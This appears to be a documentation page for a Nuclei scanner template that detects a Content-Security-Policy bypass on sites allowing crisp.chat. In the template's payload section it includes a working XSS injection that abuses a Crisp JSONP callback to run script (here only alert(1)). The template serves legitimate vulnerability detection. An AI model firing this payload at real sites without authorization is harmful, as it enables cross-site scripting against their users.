Skip to content

Content-Security-Policy Bypass - Crisp Client

ID: crisp-client-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,crisp-client

id: crisp-client-csp-bypass
info:
name: Content-Security-Policy Bypass - Crisp Client
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,crisp-client
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "crisp.chat"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: crisp_client_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://client.crisp.chat/settings/website/x/?callback=-alert(1);/*"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "crisp_client_csp_xss == true"
# digest: 4b0a004830460221008b3a815e27f48720154cb839c12e93f59e5163bfe17d6237da8af0e135ce0ef90221009587144e7fd51e2b849e9cd95ac4ee1de6726e9340959c9c7c8013013a712437:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/crisp-client-csp-bypass.yaml"

View on Github